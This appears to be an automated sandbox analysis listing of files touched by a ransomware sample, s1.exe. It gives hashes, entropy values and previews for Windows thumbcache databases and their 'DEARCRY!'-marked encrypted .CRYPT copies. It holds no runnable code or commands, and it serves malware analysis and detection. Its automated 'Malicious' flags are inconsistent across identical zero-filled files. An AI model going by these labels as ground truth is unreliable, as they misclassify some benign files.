                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3146616
                                                              Entropy (8bit):7.99994131852484
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E1A0DF31FB8A1CA269CCFEBD944C2F4F
                                                              SHA1:29DC25219C5A8ED7D5A2983EB4DF55CF85D48B23
                                                              SHA-256:22CBE4B9179F4A25C6EB09D86F0BB0CD4327E9645196BB78171F61F91F4AA3E9
                                                              SHA-512:860BE90965744B4101757E0999302386AC52D6249BF08F822917EC04070C90C1E4FE2AABC3A93E819E4BA598B2229FBC8461058D4A11D8EDB9151FD72181EBB3
                                                              Malicious:true
                                                              Preview: DEARCRY!....2Xy.3.?.<f....8a.@<lS.,..y .Ff.....N...C..VQ.Z.3...v..#w%..:.g6....]...i...~...k.[D..E......k....T"(W..{..,..s.,.Tk.........}s...W...f....IoN...J.SDzW.Bp...EnC.}.......2.v.4TR.A..b..0q.S`._.#.$.6..OcH....U...QktA...P...I.7.qf.;.....h#&.z.c..$[.7D.............?. c...0e..rG....S]..Sz....V.5q...-V...."@n/fjhS.x...,.D.u26?..5.w.sI...$.u<65(.o..;.'...{.9..h2y.R.._|y. ...D..,.*.C.X..(..j.?\....... ...J..E.........q$2H..q....4`-.5T.57..?o.o.&.....8.L=..$..w>.\.^h....?......O..y.X....=Xa.Q..#..{.....u.x.:.!.v.."}Rw...OX...u.....>(.I...h1.M..j..h....2b...|.q...^.s...ZpMd3.xu...v.l.......:....vx..j...bUo.>H.....1..@..p...N.|?fX...=Kh...W...Z.\....<.;...1.p...%.....a....<.AQ.....*g.V.3..tqh._...X.7.I..*....4.~.....{...k.WR...}).........5..eO......q.. '.7.N91..w...*$?.gI..l.x.,.z..._.......Y...P.'..}.p%l@...|.k!.%Aq...N.s-...X..'.X.7..\w.G>.,..m.....l{.1u%.d.1..geq......5]..D...[4.\.=...3..._...k.8..F...^.2..@.......fx'.@.=.r..s...i.8.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.157816240294195
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:083445C3DE1FF2485196AF93AFE4C6E6
                                                              SHA1:6B6D309F364500BFF1FE145A4CF67D12D983DF3C
                                                              SHA-256:77C7BA4DA433FF96A27AF27152537AD5E6E1546221745CEDA91F31C5A5E5F7B0
                                                              SHA-512:EDDC9B2A32E58752C49138793D30F7D37A66DF3D052D067DBDB39595F044095DEE9322333AC4302D23EB672F4D45E3DD098254EC8FDD62AFB133ED1E45A60B5E
                                                              Malicious:false
                                                              Preview: DEARCRY!........~.+..mkl.o.fWLJ...n.<..^P...P..:....B.q!..=eX....3.k.......:_..k!.il...#..:+.Y1..?.X.*.;>....e.".do..q..'-.'...........@MHE..=........}"A.i2?x49`.~.....u.....e..w......:J....Uk......B.......'..nf.9:...S3.D..x}..i.-..I<..l..d..l.....|.,.l.............j/&..k..|..D....=m.J...5F`...-
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.9999570030555995
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5D504E27FBC2DD4599C8DE818E9DC240
                                                              SHA1:0B19CA5F303D910CD323E27FC7C90D2053E1E3BA
                                                              SHA-256:9BBD34C1DB26C2F9B9C014D7E810EE7E8B9F2E56234C041D87CC44D02DA9A86D
                                                              SHA-512:5334A1E1CE4DEB5DB870DBB63192B4FE0C20B5BF469983515859C9BA00A88523D1C87D735C0CC34387600D797B8FF70DCE69BD0159596B8890F6F1D55F14ABA2
                                                              Malicious:true
                                                              Preview: DEARCRY!....u.E.3..ss.....^..........T~.{..U7Y.6A...1._..V.Qx.5.G...J%.1.5h....nV..!.!..t.'..LxB...{......S$@5.L....p..._#.....(b.J_.A.B,.e._e]....c&....r..L..........}......S.2..`..L..,.7...5.|..P|....?u...8...Ip.:>.R..E...Q#.....6Y.{fv8........f..`..Mu.a..............9..h?...|....gn*..sz@=.....g.y...H2......Y..KHb.a..r.=.Ws.HHU..._..{.0.@T-..g.Ds".......>. .....Z.....W..Qox.n..=....x..;...."..?.(.z..X.)......D..9.......K..X.|g.i.I.9.O..|."......I..o]-"E...Q.1$...$..f....h....@..e8...X..*|g..5....&.x..C.QH.....o...pF...C.h.;x...=RM.=U....w4...).0.Z.[..!.u.2m......a"#.[[......W..7....[Y...ly...k.E+MpV..,hl=....?lv.V....U2..D..83.......... ....W..d.....e."..g.l..~..J.*)....O.R<.O~.98.}P..-...p.5.i0]a...d.<N.D..C.y....Q..w.....i.....5....>(n....._.!.~..+..I...T..0..y....:.. .1..[...I.L....<e..$0...G..M....t.q.a.VV...o(.d].....vA....r@n..P..K.82.S....+%...>......z..V..Q.>..%.]..S..Ws.L.....j+..[.w.x..C.{^..ET4;....Z..s....4.GS.Z..X.k.....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999954899215886
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:B4B07BE7752DF5996E00700FB0071224
                                                              SHA1:8DC82417B342BA0ECDEAEBE8D486FDAB2FF6D327
                                                              SHA-256:190E001A993E5D7C631BDE827E38E7E820D3D3B74D381E05F884B8FE65EAFE46
                                                              SHA-512:DA3FBF0586EF82FB0570C22DF1A7B060238B80E3E904A7E1A1920FEBD9A59E3376C25C3629202403032ABA1487DFFC73631AF7C18731468EE5A4E4FB3B873FC1
                                                              Malicious:true
                                                              Preview: DEARCRY!.....R...yHu..+.....L^.iJ.....#xIEZ.eD..!....$....tG.....K....l..)..b.n`.FE..ycN.a..|..p.....z......)E....JY .&.5.6..O.H}].^..x..BW..Y.b^.Y}...l...W..KO.d.C.d^..4.=B....C~...L.f....A.J....t...'....._.uts..c..R?<....Nz.......^e....D.+..v...@:..)............... .98^..(.4......@...|E.GH8.1.~......M..i..6../....c.8..x..@.c.P8.q1./....~.d.L-)....bZ...s+....+.M..........."........5B.......O....B..|3@|.m...J..3X....5b.n.55lA1&......P..i.q...).-....JMQ.M...L..m..y..a..a..cD.~.............s/T...Aj<p#.....r..0.g......V+...7.&.8.......k.{.aJz...zk.....M.~....a6.7....:..^4....Luf....3o....&...-..dV.BU.^.q>....E.;.RY5r.S.........R.........x....V.`.P0......Y o..%.'.#CA.W...6..5+..-,.5..wGa..-.@..[.Nj..G;.3..$..m.=....<..=.W.l....<.J./....h...C!........k.xY.(#l.......w...zK.)..=.........x..+.>.LTT^[........0C.:..W0..j|`.<..w......`.W.i...$f.&-.^4.==u.ll....I.<.+5".%.U).m...a...s.:|...m..N.s.C...S...'..a:#..>....S..BK.*..d...L.S...B
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.1731682319801005
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9F0A982F80661F2167733106AE623308
                                                              SHA1:C1496C98C32AAE2F09D7FC42CEE2818D6EB2E2DE
                                                              SHA-256:6D27BC05D79648825C6D8A27A4A00A0FC4D7FFDE1946AA3160B0CD8FCDAC2944
                                                              SHA-512:C1118BF0C016137A2FBEBA1F0684E8BF45C1558F3CACB7898C898E181482723539E8C42A315705C4BE5245B2EFFD8FBE8E627D9ABB4B2AEF574EBFABEF71B2C7
                                                              Malicious:false
                                                              Preview: DEARCRY!.....m.NQ!...u,.C.....r..&d5.....*.^7/.......Jo.K.2C..+.m?..CL.....[?dI*..Wm.pd......w.=.+I........C.K<.g\u<.........g".Y]....._.:.&.S.2..c.a...t.I.x&78T...Tvs.U.7..5.....X. .=.p..g...3.:...T...h.24;9H43.KL.!P.. 9..V3a,5..@.N...._.{.o..r....V.............#W,..LC.4;.."..W..r.....3...r
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):96
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:954792A8BA2F259C097CEF263D266ADF
                                                              SHA1:4E3872621039B359E7371BB9810430A5A2C78195
                                                              SHA-256:69D62C062D67D8D2CE9068C1898FB9746C911839AA88AD1628D090F4C8E47F05
                                                              SHA-512:C9D2BD91736B0A41D69C6A2C179EE04A83B00AD126214BA02681E037DA5A88DAF9938A7ACED080721CC1B4EA84CC20BAB4F6E07CA93C03D649332485DA92AFD5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1248
                                                              Entropy (8bit):7.714232728414765
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D13680816BC888062ACC966C39DD8772
                                                              SHA1:02556DA58482AD29A1E2485DC6309B00146D80FA
                                                              SHA-256:0606D15B3A9EA22216A68B6BBC26C6A8CC47EAC475C973E503B8352A28B6EED0
                                                              SHA-512:75A5947F75E82ED730878E8CEB9D69B6F519864E3F85CDFF5A0E6C8D6DA14552EF683F503F3E9B24B567C8BE7CC831CFBF3D5561ACD4198D1F754868EE25C910
                                                              Malicious:false
                                                              Preview: DEARCRY!.....|%.6.X....:..:..S.s._..CW.q...............+5.....t.~A.$c..rc.z....q.h.J...Ni.xC5......_.....1........H..`..m%&T..d...?.@TC{.^.5r... .;....5.i.).C..6..f..:E.{'....*.a..X...lp.U...S&:..M.>.w........1.....>N7TW ..D...DX.!.k+a.@.I..F.OS(....3?5................b.F...h..T_qXh&l.,(........DEARCRY!....^vY=>kOm5.....-..x....$...V.e.*...#...`....&..^.c[..W..c.B...O......@.lP.)o.x.k.....h..&l....n......T)W*;..}yC..;....h..|..b......+.]...#...Uy...C{.'".>..k3a.....T7..I.;.k`.%.[.od.*..k..Cu:ka...C....6x.......LF.U..=N......z.......f.eA*]...Z............\..........A.jNx.F..#M-l..%-..DEARCRY!......K.H.Q..;%-..J&...-.D...E...M.....a;......o1........=.J.nr.).....J.|.l.H)..+$.....k.m.;....r&..[&h....../.aD...T..j..F.."......x..P$.....3`.Q.K.p...D.@.XT....:.....W...~A.M..z....g.....]o@..F/.E.......$1o...|./lK..[...D.....1.M;..".im....\0a.?UP..............=:-.EP.}..!n...../.A...#..Ag.,MDEARCRY!......WPL..%.A].&....V.....@.. 7.9?XL9.5xh.f.l....9..S.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.143794799454834
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CE9707A7D46EC71DBA4BA3D17F659641
                                                              SHA1:EE51CE5331C413089CFA0E66AA7C6F933B7C5853
                                                              SHA-256:373DC7CC9B84DDE5D5B569BDD5811139D02D152125AC0EB12602DF621E44DC8A
                                                              SHA-512:58D9FF8DFC136881B49C7EEC4D0FEA8A8342599A2D7A529B089D619DB0BD8297CC631EC636A7D9B7C4820A7D4ABDD971A21D1EEEFF364A367486A13A006FF574
                                                              Malicious:false
                                                              Preview: DEARCRY!................w..:.AbZ.{yy .r.A...Q.....H...AY.=iUk..e.)........2$y....A.7Z..n......s?....X...x...qI.&*.{.ke.....)...q-.R....2q......%..,...xs..K?...D..............4.m..9.V}=+.R...H$.,.. '.w$`....q...s*<z..?m..5.%)...p...9.;i...........9.......p..................o7.C"-'bX{.)!. ~.^..7a`V.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C7C6ABFA9CB508F7FC178D4045313A94
                                                              SHA1:4F130F23896BD6D0E95F2A42B2CB83D17AC8F1A2
                                                              SHA-256:1BDA9F0AED80857D43C9329457F28B1CA29F736A0C539901E1BA16A909EB07B4
                                                              SHA-512:9F1C1E438B8CCEDA02663A61A64C1C5FC6FB6238AA92D30E6D8D1A7B0CB29A8A6F26B63B9964AD876617F71EE7DC3C05205158C4ED4BE327149652B1C6900825
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312
                                                              Entropy (8bit):7.2253825172232435
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CCAE2CB307CDD6E1F4EE68A180FF0A78
                                                              SHA1:98CF033ABD4D2906775B4A2664F6AFB0B624AD68
                                                              SHA-256:49E68DF2C2C3F77118B27091FC95DF8E991F5E7A1F9ABA7D7A1104F5F01A67B6
                                                              SHA-512:79AFEDE1D75CE30108DC0DE71A07D70265B9B2E3429A776F9BBCDDA9DC5E909499B46C5D6CB7668DE5FFA5A598E4C7D40E01BF3B2C59013F2C33EF226365FD67
                                                              Malicious:false
                                                              Preview: DEARCRY!.....iN.J.Goq|..n.\5q.. ......U......].ei..m....pKj.4.]:.k.....a......zqY.....n.J.U...%...8...>.:.Fbr.|..t..u.)..3"s.A...a....z..T..`_^.d..1..d6.l.^....`.GR....l'Ec=`.....}.......%..9.y6.2.O..`.E.{^.....4...@..Fb.(...j}...^X).....f..;8.Wbq..O.Z.-o................~...8t.t...-..p..Cb.3.....H..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):87696
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:150B87BD1A03F356B371AABA76C23981
                                                              SHA1:04596B039297DCFA03F809F9CDD8E43E9C22FEB3
                                                              SHA-256:49735285843696A52D3DF1F9955830A6BE7FFD3EA83099CD54CEE0491F7C6BB7
                                                              SHA-512:B9B08A98BD486B1EC643C9FD5C5FE4779636E40C489877C4FBC06AC35BC81D7E533885ECB1A9BFFF72F09847ED8C3721549BBCDC62D3D887D609ACFB59E62A4A
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):88584
                                                              Entropy (8bit):7.997969073101645
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:15C45A8EFD05A4DAB84E79DD211C545A
                                                              SHA1:243B961949F62D4CB7BFD5F2467BBA83A91F06A9
                                                              SHA-256:5B3FB7BDE3F1E8DBCC4C24FB618B8A202146079F05816644CE0BDB35697587BC
                                                              SHA-512:D7A26B9A03303BAC53E4D0534F617FD098DAD9BE45A72BA401128A6C467D60B4AE6B8BF74DE3D3F0708C757299D8AB8408F8873AE84ACF713973AED83372B9D1
                                                              Malicious:true
                                                              Preview: DEARCRY!....Qa.e.u.V..|Cj..D......E.....J.9...F\.nzH}2...F..R..iM.=[..?.To.=F...Y0...qJ.)%...#Jd.9D[.e..R=Ja..1...:Ts....,{...r....J..~@u.0....,?.,..h...:8..rX..3b}>.>. ....zl).....$.o.Wl..P.Q.9Qa.*.F.z...J.}*Kw/?./.Gl.a...i..?..7i,.U..%.}..P.\...e........0r......A.&.p...y..]a.M..`..X....VS.....t:.g....Z..u..X.XC:..F.o5.....4...R<i..S..Kz3....ZKH.a..Tf.[...7....b.xk..t.....OIYB.X...5..2F....>.M_..,.6%..E6IH....y.0*A.....*..xLA......./..1Y%9..C.:.N.8..p.*E.......6$...|....-h0.01lw.q...),..I<Sw.S.H....<...D...?..Y.C8.!?..V....^.........M.9..s..........#h.b..&.G.0....&....:.Y8..*.;.|....^...ru..o_..@G.....vk.*.;.(...e.6L....f..!..=....Kn_.p[i.m..V..?.. ..ZM.!..L.+...Q.g..8m.,\..G...*.s..._..'..'.5..!.}....Sy....(.........fZl.....{..E..uX.D...........'...>u..<..g..../.]G..3/^.4...KDAq..y..........W...[}x{..F..F...>....7y.4Mm.z.~..1........,k?xb...V..[.7.i......B.i...\&:..%.....O..!-j..A.....W4"[..x..s..[.UIJO.5Lx.L..0.....ov....Qf.~3......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):96
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:954792A8BA2F259C097CEF263D266ADF
                                                              SHA1:4E3872621039B359E7371BB9810430A5A2C78195
                                                              SHA-256:69D62C062D67D8D2CE9068C1898FB9746C911839AA88AD1628D090F4C8E47F05
                                                              SHA-512:C9D2BD91736B0A41D69C6A2C179EE04A83B00AD126214BA02681E037DA5A88DAF9938A7ACED080721CC1B4EA84CC20BAB4F6E07CA93C03D649332485DA92AFD5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1248
                                                              Entropy (8bit):7.739637012933848
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6BD6DDA8E58BDDC4E1163EE658E6C14D
                                                              SHA1:1D029458BC9239EAEE7D50CD3A2BD123049D71E6
                                                              SHA-256:7B8571C264E804030330725C575E03AAD182E6BCA156AE2DC95C4279A1728650
                                                              SHA-512:704E8C971538E207A1A800464C2EE06174A8D599F6BC5F4B2DD5A861EAF57D72553941797FAFC48AA6DAB00B00D10B8DA44F667B61CF49C38A236B1E1ADAAA74
                                                              Malicious:false
